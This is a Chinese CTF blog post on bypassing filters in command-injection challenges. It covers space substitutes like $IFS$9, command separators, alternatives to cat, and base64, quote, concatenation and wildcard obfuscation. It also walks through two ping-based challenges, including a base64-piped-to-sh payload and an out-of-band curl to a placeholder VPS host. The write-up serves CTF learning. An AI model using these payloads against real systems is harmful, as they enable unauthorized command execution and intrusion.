CTF之命令执行常见绕过

ctf

1.空格代替

当我们执行系统命令时，不免会遇到空格，如cat flag.txt，当空格被程序过滤时，便需要利用以下字符尝试代替绕过：

<

${IFS}

$IFS$9

%09

1

2

3

4

测试如下：

$IFS 在 linux 下表示分隔符，只有cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa当做变量名，所以导致没有办法运行，然而如果加一个 {} 就固定了变量名，同理在后面加个 $ 可以起到截断的作用，而 $9 指的是当前系统shell 进程的第九个参数的持有者，就是一个空字符串，因此 $9 相当于没有加东西，等于做了一个前后隔离。

2.截断符号代替

当命令执行时，通常会从前端获取数据执行系统预设定的命令，为了加上我们想要执行的其他命令，通常会使用截断符号让系统去执行其他命令：

如：ping 127.0.0.1|whoami

常见的截断符号：

$

;

|

-

(

)

`

||

&&

&

}

{

%0a

1

2

3

4

5

6

7

8

9

10

11

12

13

14

3.cat命令代替

cat命令为查看，当程序禁用cat命令时，可采用以下命令代替：

cat:由第一行开始显示内容，并将所有内容输出

tac:从最后一行倒序显示内容，并将所有内容输出

more:根据窗口大小，一页一页的现实文件内容

less:和more类似，但其优点可以往前翻页，而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n，显示时输出行号

tailf:类似于tail -f

sort%20/flag 读文件

1

2

3

4

5

6

7

8

9

3.1 反斜杠绕过

ca\t fl\ag.txt

1

3.2 编码绕过

`echo 'Y2F0Cg==' | base64 -d` flag.txt

1

3.3 拼接绕过

a=c;b=at;c=f;d=lag;e=.txt;$a$b ${c}${d}${e}

cat flag.txt

1

2

3.4 单双引号绕过

c'a't test

c"a"t test

1

2

3.5 通配符绕过

[…]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式，模式之间使用逗号分隔。

{…}与[…]有一个重要的区别，当匹配的文件不存在，[…]会失去模式的功能，变成一个单纯的字符串，而{…}依然可以展开

cat t?st

cat te\*

cat t[a-z]st

cat t{a,b,c,d,e,f}st

1

2

3

4

实战演练

1. [GXYCTF2019]Ping Ping Ping（https://buuoj.cn）

1.1 使用截断符测试

payload：/?ip=127.0.0.1|ls

1

可见程序已经执行了我们添加的ls命令，并回显到了前端

1.2 使用cat命令查看flag

根据提示，这里的空格应该被过滤了，所以得想办法绕过空格限制

1.3 空格绕过

根据之前知识，测试替换空格符号；

根据burp爆破，发现可以通过$IFS$9绕过

但是这里的提示又有了新变化，如下：

根据提示，这里应该是flag的问题，首先我们查看index.php查看源码

通过查看源码，这里对flag进行了正则匹配，若匹配到flag在一起，则会停止运行程序

1.4 关键词绕过

根据之前知识，测试替换关键词；

cat flag.php

cat$IFS$9fl\ag.php

b=ag;a=fl;cat$IFS$9$a$b.php

echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

cat$IFS$9fla\*

1

2

3

4

根据burp爆破，发现可以通过拼接和编码绕过

1.5 通过fuzz测试，可见所有的payload如下：

2. 死亡ping命令（https://www.ctfhub.com）

2.1 使用截断符测试

通过测试，可见程序过滤了截断符，根据以上的知识，我们来fuzz一下可用的截断符

根据测试，程序没有对%0a进行过滤，所以我们可以利用%0a来进行下一步

2.2 带外判断

上述测试中有个问题，因执行的命令无回显，我们无法得知插入的命令是否执行成功，我们可以使用命令带外测试：

简单原理：使用curl命令访问网站，做网站收到请求，则命令执行成功

在VPS上使用python起http服务：

命令：python -m http.server 80

1

2. 使用curl命令访问VPS下的80端口

Payload：ip=127.0.0.1%0acurl+VPSIP/1.txt

1

查看VPS上访问情况，成功被访问，说明命令执行成功

————————————————

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

原文链接：https://blog.csdn.net/qq\_42383069/article/details/130221725